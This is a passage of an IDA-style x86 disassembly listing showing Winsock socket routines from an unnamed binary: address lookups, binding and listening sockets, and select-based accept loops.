[ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_4045B0: ; CODE XREF: sub_404552+2Ej leave retn sub_404552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045B2 proc near ; CODE XREF: sub_4143B0+191p ; sub_415F69+20Ap var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_4045E2 xor eax, eax jmp short locret_404610 ; --------------------------------------------------------------------------- loc_4045E2: ; CODE XREF: sub_4045B2+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_404610: ; CODE XREF: sub_4045B2+2Ej leave retn sub_4045B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404612 proc near ; CODE XREF: sub_40D871+69Cp var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40Ch lea eax, [ebp+var_408] push eax push 0 push 0 push [ebp+arg_0] call dword_41DE54 ; getaddrinfo test eax, eax jnz loc_4046B8 mov eax, [ebp+var_408] mov [ebp+var_40C], eax loc_404643: ; CODE XREF: sub_404612+98j cmp [ebp+var_40C], 0 jz short loc_4046AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_404] push eax mov eax, [ebp+var_40C] push dword ptr [eax+10h] mov eax, [ebp+var_40C] push dword ptr [eax+18h] call dword_41DE58 ; getnameinfo test eax, eax jnz short loc_40469B mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 2 jnz short loc_40469B lea eax, [ebp+var_404] push eax push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx mov al, 1 jmp short locret_4046BA ; --------------------------------------------------------------------------- loc_40469B: ; CODE XREF: sub_404612+66j ; sub_404612+72j mov eax, [ebp+var_40C] mov eax, [eax+1Ch] mov [ebp+var_40C], eax jmp short loc_404643 ; --------------------------------------------------------------------------- loc_4046AC: ; CODE XREF: sub_404612+38j push [ebp+var_408] call dword_41DE5C ; freeaddrinfo loc_4046B8: ; CODE XREF: sub_404612+1Fj xor al, al locret_4046BA: ; CODE XREF: sub_404612+87j leave retn sub_404612 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046BC proc near ; CODE XREF: sub_4020C2+124p ; sub_403DF3+36p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch xor eax, eax test eax, eax jz short loc_4046D1 mov [ebp+var_3C], 2 jmp short loc_4046D8 ; --------------------------------------------------------------------------- loc_4046D1: ; CODE XREF: sub_4046BC+Aj mov [ebp+var_3C], 1 loc_4046D8: ; CODE XREF: sub_4046BC+13j mov eax, [ebp+var_3C] mov [ebp+var_8], eax push 1008h call sub_416B46 ; malloc pop ecx mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_4046F9 xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_4046F9: ; CODE XREF: sub_4046BC+34j mov eax, [ebp+var_2C] and dword ptr [eax], 0 mov eax, [ebp+var_2C] and dword ptr [eax+804h], 0 push 20h push 0 lea eax, [ebp+var_28] push eax call sub_416B6A ; memset add esp, 0Ch call sub_40432E neg eax sbb eax, eax and al, 0FEh inc eax inc eax mov [ebp+var_24], eax mov eax, [ebp+var_8] mov [ebp+var_20], eax mov [ebp+var_28], 5 lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] push 0 call dword_41DE54 ; getaddrinfo test eax, eax jz short loc_40475D push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_40475D: ; CODE XREF: sub_4046BC+8Fj mov eax, [ebp+var_30] mov [ebp+var_4], eax jmp short loc_40476E ; --------------------------------------------------------------------------- loc_404765: ; CODE XREF: sub_4046BC+DDj ; sub_4046BC+F1j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40476E: ; CODE XREF: sub_4046BC+A7j cmp [ebp+var_4], 0 jz loc_40484E mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFFh jnz short loc_40479B jmp short loc_404765 ; --------------------------------------------------------------------------- loc_40479B: ; CODE XREF: sub_4046BC+DBj mov eax, [ebp+var_4] cmp dword ptr [eax+4], 2 jz short loc_4047AF mov eax, [ebp+var_4] cmp dword ptr [eax+4], 17h jz short loc_4047AF jmp short loc_404765 ; --------------------------------------------------------------------------- loc_4047AF: ; CODE XREF: sub_4046BC+E6j ; sub_4046BC+EFj mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz short loc_4047D6 mov [ebp+var_38], 1 push 4 lea eax, [ebp+var_38] push eax push 4 push 0FFFFh push [ebp+var_34] call dword_417204 ; setsockopt loc_4047D6: ; CODE XREF: sub_4046BC+FBj mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_34] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4047FE push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_4047FE: ; CODE XREF: sub_4046BC+132j cmp [ebp+var_8], 1 jnz short loc_404822 push 32h push [ebp+var_34] call dword_417268 ; listen cmp eax, 0FFFFFFFFh jnz short loc_404822 push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_404822: ; CODE XREF: sub_4046BC+146j ; sub_4046BC+156j mov eax, [ebp+var_2C] mov eax, [eax] mov ecx, [ebp+var_2C] mov edx, [ebp+var_34] mov [ecx+eax*4+4], edx mov eax, [ebp+var_2C] mov eax, [eax] inc eax mov ecx, [ebp+var_2C] mov [ecx], eax mov eax, [ebp+var_2C] cmp dword ptr [eax], 200h jnz short loc_404849 jmp short loc_40484E ; --------------------------------------------------------------------------- loc_404849: ; CODE XREF: sub_4046BC+189j jmp loc_404765 ; --------------------------------------------------------------------------- loc_40484E: ; CODE XREF: sub_4046BC+B6j ; sub_4046BC+18Bj push [ebp+var_30] call dword_41DE5C ; freeaddrinfo mov eax, [ebp+var_2C] cmp dword ptr [eax], 0 jnz short loc_40486C push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp short locret_40486F ; --------------------------------------------------------------------------- loc_40486C: ; CODE XREF: sub_4046BC+1A1j mov eax, [ebp+var_2C] locret_40486F: ; CODE XREF: sub_4046BC+38j ; sub_4046BC+9Cj ... leave retn sub_4046BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404871 proc near ; CODE XREF: sub_411BBC+B0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40488F xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_40488F: ; CODE XREF: sub_404871+18j mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+arg_0] add eax, [ecx] cmp eax, 200h jbe short loc_4048AD push [ebp+var_4] call sub_404CBB pop ecx xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_4048AD: ; CODE XREF: sub_404871+2Dj mov eax, [ebp+var_4] mov eax, [eax] shl eax, 2 push eax mov eax, [ebp+var_4] add eax, 4 push eax mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*4+4] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+var_4] add eax, [ecx] mov ecx, [ebp+arg_0] mov [ecx], eax push [ebp+var_4] call sub_416B4C ; free pop ecx push 1 pop eax locret_4048ED: ; CODE XREF: sub_404871+1Cj ; sub_404871+3Aj leave retn sub_404871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048EF proc near ; CODE XREF: sub_4020C2+22Ep ; sub_403DF3+8Dp ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h push esi mov [ebp+var_4], 80h and [ebp+var_8C], 0 jmp short loc_404916 ; --------------------------------------------------------------------------- loc_404909: ; CODE XREF: sub_4048EF+133j ; sub_4048EF:loc_404A32j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404916: ; CODE XREF: sub_4048EF+18j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404A37 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404A32 loc_40494A: ; CODE XREF: sub_4048EF+100j and [ebp+var_9C], 0 jmp short loc_404960 ; --------------------------------------------------------------------------- loc_404953: ; CODE XREF: sub_4048EF:loc_4049E6j mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax loc_404960: ; CODE XREF: sub_4048EF+62j mov eax, [ebp+arg_0] mov ecx, [ebp+var_9C] cmp ecx, [eax+804h] jnb short loc_4049EB mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_4049E6 loc_404990: ; CODE XREF: sub_4048EF+E0j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_9C], eax jnb short loc_4049D1 mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_9C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax jmp short loc_404990 ; --------------------------------------------------------------------------- loc_4049D1: ; CODE XREF: sub_4048EF+B1j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049E6: ; CODE XREF: sub_4048EF+9Fj jmp loc_404953 ; --------------------------------------------------------------------------- loc_4049EB: ; CODE XREF: sub_4048EF+80j ; sub_4048EF+F5j xor eax, eax test eax, eax jnz loc_40494A lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC ; accept mov [ebp+var_98], eax cmp [ebp+var_98], 0FFFFFFFFh jnz short loc_404A27 jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A27: ; CODE XREF: sub_4048EF+131j mov eax, [ebp+var_98] jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404A32: ; CODE XREF: sub_4048EF+55j jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A37: ; CODE XREF: sub_4048EF+32j mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 and [ebp+var_8C], 0 jmp short loc_404A57 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_4048EF+21Dj mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404A57: ; CODE XREF: sub_4048EF+159j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404B11 loc_404A68: ; CODE XREF: sub_4048EF+217j and [ebp+var_A0], 0 jmp short loc_404A7E ; --------------------------------------------------------------------------- loc_404A71: ; CODE XREF: sub_4048EF:loc_404AB0j mov eax, [ebp+var_A0] inc eax mov [ebp+var_A0], eax loc_404A7E: ; CODE XREF: sub_4048EF+180j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnb short loc_404AB2 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404AB0 jmp short loc_404AB2 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_4048EF+1BDj jmp short loc_404A71 ; --------------------------------------------------------------------------- loc_404AB2: ; CODE XREF: sub_4048EF+19Ej ; sub_4048EF+1BFj mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnz short loc_404B02 mov eax, [ebp+arg_0] cmp dword ptr [eax+804h], 200h jnb short loc_404B02 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+4] mov [ecx+eax*4+808h], edx mov eax, [ebp+arg_0] mov eax, [eax+804h] inc eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax loc_404B02: ; CODE XREF: sub_4048EF+1D2j ; sub_4048EF+1E1j xor eax, eax test eax, eax jnz loc_404A68 jmp loc_404A4A ; --------------------------------------------------------------------------- loc_404B11: ; CODE XREF: sub_4048EF+173j mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_94], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_90], edx lea eax, [ebp+var_94] push eax push 0 push 0 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_41722C ; select mov [ebp+var_88], eax cmp [ebp+var_88], 0 jnz short loc_404B71 or eax, 0FFFFFFFFh jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B71: ; CODE XREF: sub_4048EF+278j cmp [ebp+var_88], 0FFFFFFFFh jnz short loc_404B81 xor eax, eax jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B81: ; CODE XREF: sub_4048EF+289j and [ebp+var_8C], 0 jmp short loc_404B97 ; --------------------------------------------------------------------------- loc_404B8A: ; CODE XREF: sub_4048EF+3B4j ; sub_4048EF:loc_404CB0j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404B97: ; CODE XREF: sub_4048EF+299j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404CB5 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404CB0 loc_404BCB: ; CODE XREF: sub_4048EF+381j and [ebp+var_A8], 0 jmp short loc_404BE1 ; --------------------------------------------------------------------------- loc_404BD4: ; CODE XREF: sub_4048EF:loc_404C67j mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax loc_404BE1: ; CODE XREF: sub_4048EF+2E3j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A8] cmp ecx, [eax+804h] jnb short loc_404C6C mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404C67 loc_404C11: ; CODE XREF: sub_4048EF+361j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_A8], eax jnb short loc_404C52 mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_A8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax jmp short loc_404C11 ; --------------------------------------------------------------------------- loc_404C52: ; CODE XREF: sub_4048EF+332j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_404C6C ; --------------------------------------------------------------------------- loc_404C67: ; CODE XREF: sub_4048EF+320j jmp loc_404BD4 ; --------------------------------------------------------------------------- loc_404C6C: ; CODE XREF: sub_4048EF+301j ; sub_4048EF+376j xor eax, eax test eax, eax jnz loc_404BCB lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC ; accept mov [ebp+var_A4], eax cmp [ebp+var_A4], 0FFFFFFFFh jnz short loc_404CA8 jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CA8: ; CODE XREF: sub_4048EF+3B2j mov eax, [ebp+var_A4] jmp short loc_404CB8 ; --------------------------------------------------------------------------- loc_404CB0: ; CODE XREF: sub_4048EF+2D6j jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CB5: ; CODE XREF: sub_4048EF+2B3j or eax, 0FFFFFFFFh loc_404CB8: ; CODE XREF: sub_4048EF+13Ej ; sub_4048EF+27Dj ... pop esi leave retn sub_4048EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CBB proc near ; CODE XREF: sub_4020C2+175p ; sub_4020C2+25Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404CCC ; --------------------------------------------------------------------------- loc_404CC5: ; CODE XREF: sub_404CBB+3Ej mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404CCC: ; CODE XREF: sub_404CBB+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax] jnb short loc_404CFB cmp dword_41DE08, 0 jz short loc_404CE9 mov eax, [ebp+arg_0] cmp dword ptr [eax], 64h jbe short loc_404CE9 jmp short loc_404CFB ; --------------------------------------------------------------------------- loc_404CE9: ; CODE XREF: sub_404CBB+22j ; sub_404CBB+2Aj mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_4053B1 pop ecx jmp short loc_404CC5 ; --------------------------------------------------------------------------- loc_404CFB: ; CODE XREF: sub_404CBB+19j ; sub_404CBB+2Cj mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 push [ebp+arg_0] call sub_416B4C ; free pop ecx leave retn sub_404CBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D10 proc near ; CODE XREF: sub_41349C+1B7p ; sub_4143B0+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 200h jbe short loc_404D21 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D21: ; CODE XREF: sub_404D10+Bj push 1010h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_404D39 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D39: ; CODE XREF: sub_404D10+23j mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] locret_404D4B: ; CODE XREF: sub_404D10+Fj ; sub_404D10+27j leave retn sub_404D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D4D proc near ; CODE XREF: sub_41349C+417p ; sub_4143B0+109p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] cmp eax, [ecx] jnz short loc_404D6A push [ebp+arg_0] call sub_4053B1 pop ecx xor eax, eax jmp short loc_404D99 ; --------------------------------------------------------------------------- loc_404D6A: ; CODE XREF: sub_404D4D+Ej mov eax, [ebp+arg_4] mov eax, [eax+4] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [ecx+eax*4+0Ch], edx mov eax, [ebp+arg_4] mov eax, [eax+4] inc eax mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] xor edx, edx cmp eax, [ecx] setnz dl mov eax, edx loc_404D99: ; CODE XREF: sub_404D4D+1Bj pop ebp retn sub_404D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D9B proc near ; CODE XREF: sub_41349C+512p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404DAC ; --------------------------------------------------------------------------- loc_404DA5: ; CODE XREF: sub_404D9B:loc_404E18j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404DAC: ; CODE XREF: sub_404D9B+8j mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short locret_404E1A mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4+0Ch] cmp eax, [ebp+arg_0] jnz short loc_404E18 mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+8] jb short loc_404DDE mov eax, [ebp+arg_4] mov eax, [eax+8] dec eax mov ecx, [ebp+arg_4] mov [ecx+8], eax loc_404DDE: ; CODE XREF: sub_404D9B+34j mov eax, [ebp+arg_4] mov eax, [eax+4] sub eax, [ebp+var_4] shl eax, 2 push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+10h] push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+0Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_4] mov eax, [eax+4] dec eax mov ecx, [ebp+arg_4] mov [ecx+4], eax jmp short locret_404E1A ; --------------------------------------------------------------------------- loc_404E18: ; CODE XREF: sub_404D9B+29j jmp short loc_404DA5 ; --------------------------------------------------------------------------- locret_404E1A: ; CODE XREF: sub_404D9B+1Aj ; sub_404D9B+7Bj leave retn sub_404D9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E1C proc near ; CODE XREF: sub_41349C+45Fp ; sub_4143B0+14Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 and [ebp+var_8], 0 jmp short loc_404E41 ; --------------------------------------------------------------------------- loc_404E3A: ; CODE XREF: sub_404E1C+BDj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_404E41: ; CODE XREF: sub_404E1C+1Cj mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+4] jnb loc_404EDE loc_404E50: ; CODE XREF: sub_404E1C+B7j and [ebp+var_14], 0 jmp short loc_404E5D ; --------------------------------------------------------------------------- loc_404E56: ; CODE XREF: sub_404E1C:loc_404E86j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_404E5D: ; CODE XREF: sub_404E1C+38j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnb short loc_404E88 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+810h] cmp eax, [esi+edx*4+0Ch] jnz short loc_404E86 jmp short loc_404E88 ; --------------------------------------------------------------------------- loc_404E86: ; CODE XREF: sub_404E1C+66j jmp short loc_404E56 ; --------------------------------------------------------------------------- loc_404E88: ; CODE XREF: sub_404E1C+4Dj ; sub_404E1C+68j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnz short loc_404ECF mov eax, [ebp+arg_0] cmp dword ptr [eax+80Ch], 200h jnb short loc_404ECF mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+0Ch] mov [ecx+eax*4+810h], edx mov eax, [ebp+arg_0] mov eax, [eax+80Ch] inc eax mov ecx, [ebp+arg_0] mov [ecx+80Ch], eax loc_404ECF: ; CODE XREF: sub_404E1C+78j ; sub_404E1C+87j xor eax, eax test eax, eax jnz loc_404E50 jmp loc_404E3A ; --------------------------------------------------------------------------- loc_404EDE: ; CODE XREF: sub_404E1C+2Ej and [ebp+var_10], 0 mov [ebp+var_C], 3E8h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+arg_0] add eax, 80Ch push eax push 0 push 0 call dword_41722C ; select mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404F1A cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404F1A mov [ebp+var_18], 1 jmp short loc_404F1E ; --------------------------------------------------------------------------- loc_404F1A: ; CODE XREF: sub_404E1C+EDj ; sub_404E1C+F3j and [ebp+var_18], 0 loc_404F1E: ; CODE XREF: sub_404E1C+FCj mov eax, [ebp+var_18] pop esi leave retn sub_404E1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F24 proc near ; CODE XREF: sub_41349C+470p ; sub_4143B0+16Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_404F3A ; --------------------------------------------------------------------------- loc_404F33: ; CODE XREF: sub_404F24:loc_404F77j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F3A: ; CODE XREF: sub_404F24+Dj mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404F79 mov eax, [ebp+arg_0] add eax, 80Ch push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_404F77 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4+0Ch] jmp short locret_404F7B ; --------------------------------------------------------------------------- loc_404F77: ; CODE XREF: sub_404F24+3Bj jmp short loc_404F33 ; --------------------------------------------------------------------------- loc_404F79: ; CODE XREF: sub_404F24+1Fj xor eax, eax locret_404F7B: ; CODE XREF: sub_404F24+51j leave retn sub_404F24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F7D proc near ; CODE XREF: sub_404FD0+6p ; sub_41349C+59Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404F8E ; --------------------------------------------------------------------------- loc_404F87: ; CODE XREF: sub_404F7D+37j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F8E: ; CODE XREF: sub_404F7D+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404FB6 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_4053B1 pop ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and dword ptr [ecx+eax*4+0Ch], 0 jmp short loc_404F87 ; --------------------------------------------------------------------------- loc_404FB6: ; CODE XREF: sub_404F7D+1Aj mov eax, [ebp+arg_0] and dword ptr [eax+4], 0 mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 leave retn sub_404F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FD0 proc near ; CODE XREF: sub_41349C+5FBp ; sub_4143B0+238p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_404F7D pop ecx push [ebp+arg_0] call sub_416B4C ; free pop ecx pop ebp retn sub_404FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FE7 proc near ; CODE XREF: sub_412BC9+11p ; sub_41349C+40Ep ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] 